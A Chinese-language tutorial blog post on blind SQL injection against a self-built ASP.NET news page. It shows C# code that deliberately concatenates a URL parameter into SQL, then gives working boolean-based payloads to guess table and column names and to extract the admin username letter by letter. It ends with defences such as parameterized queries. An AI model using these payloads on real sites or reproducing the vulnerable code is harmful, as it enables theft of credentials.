WEB 安全之 SQL注入<一> 盲注

    SQL注入是一個比較“古老”的話題，雖然現在存在這種漏洞的站點比較少了，我們還是有必要了解一下它的危害，及其常用的手段，知己知彼方能百戰不殆。進攻與防守相當於矛和盾的關系，我們如果能清楚了解

攻擊的全過程，就可以更好的預防類似情況的出現。

　SQL注入原理   主要是攻擊者，利用被攻擊頁面的一些漏洞（通常都是程序員粗心大意造成的），改變數據庫執行的SQL語句，從而達到獲取“非授權信息”的目的。

    下面自己搭建了實驗環境用於測試。  首先交待一下，測試環境 開發語言為 Asp.net  ,數據庫使用的 MSQL ,測試頁面模擬了普通的新聞頁面，URL里接受參數 ？id=1  獲取文章ID，

后台直接通獲取的ID拼接查詢語句，沒有做敏感字符的過濾，從而為入侵者留下了有機可剩的漏洞.下面是后台代碼：

    public partial class NewsInfo : System.Web.UI.Page
    {
        protected NewsModel _news = new NewsModel();
        protected void Page_Load(object sender, EventArgs e)
        {
            var id = Request["id"];
            var sqlStr = "select * from news where id=" + id;
            var sqlCon = SqlHelper.GetConnection();

            try
            {
                var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);

                if (ds.Tables[0].Rows.Count <= 0) return;

                _news.Title = ds.Tables[0].Rows[0]["title"].ToString();
                _news.Text = ds.Tables[0].Rows[0]["text"].ToString();
                _news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]["createTime"]).ToString("yyyy-MM-dd");
            }
            catch (Exception ex)
            {

            }
        }
    }

 

   一、過程重現

　　

 1. 測試有沒有注入漏洞 

      瀏覽器輸入 http://localhost:2003/newsInfo?id=1  and 1=1    頁面正常   后台執行的SQL語句為：select * from news where id=1 and 1=1

　　輸入 http://localhost:2003/newsInfo?id=1  and 1=2  空白頁面，數據無法顯示(后台執行的SQL語句為：select * from news where id=1 and 1=2)，頁面有注入漏洞。

 

2.  猜解數據庫表名

    既然有漏洞，就准備做點事情咯，主要目的是拿到后台管理員密碼，先看看數據庫里有哪些表吧

  http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0   沒有數據，繼續猜解...... N次，

 終於 http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0

 這里是利用 后面的條件查詢數據庫表，如果表不存在，后台就報錯了，本測試示例后台對異常做了處理，但是數據肯定是出不來的。

數據顯示正常，說明表 user 存在，判斷 為 用戶表

3. 表字段猜解

http://localhost:2003/newsInfo?id=1 and (select count(password) from [user]) >=0  ....... N次

http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0  頁面數據正常如下圖

說名表 user 存在 pwd 字段

同理  確認表 user 里存在  name 字段。

4. 查詢表里有多少條數據 

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 返回空白頁面

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 返回空白頁面

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1  頁面正常  ，只有一個用戶。

5. 用戶名猜解

   <A>  用戶名長度，

             http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =3  ,返回空白頁面

             http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =4 ,返回空白頁面

             http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5  ,返回正常頁面,確定用戶名為5位字符

<B>  用戶名猜解

         第一位    http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20 ，返回正常頁面 ........... 

                     下面猜解 N次

　　　　　　　  http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96， 返回正常頁面

                      http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97   返回空白頁面了

                       這說明 第一位 ASCII值為 97，對應字母 a

          以此類推 ，第2位，第3位 .....第5位， 猜解出用戶名 admin ，在這里主要用了 ASCII  和 SUBSTRING 函數，如果對這兩個函數不熟悉請自行百度，下面是猜解過程截圖。

      

 

用戶名猜解成功。

6. 密碼猜解

    用戶名搞定了，密碼思路也是一樣

    <A> 先確定密碼長度

    <B> 逐個密碼猜解，這里就不寫注入的sql語句了，同 用戶名 猜解

   至此，整改網站管理后台淪陷。

二、防范方法

   1. 后台進行輸入驗證，對敏感字符過濾。（某情況下不完全保險，可能會有漏掉的敏感字符，攻擊者可以對關鍵字符轉義繞過過濾）

　2. 使用存儲過程（不靈活，太多存儲過程不好維護，特別是如果存儲過程里涉及到業務，對以后的維護簡直是災難，出了問題也不好查找）

   3. 使用參數化查詢，能避免拼接SQL，就不要拼接SQL語句。（當然了，本示例只要判斷 參數ID 是否為數字就不會有題了）

   4. 使用一些開源的框架也可以有效的避免SQL注入。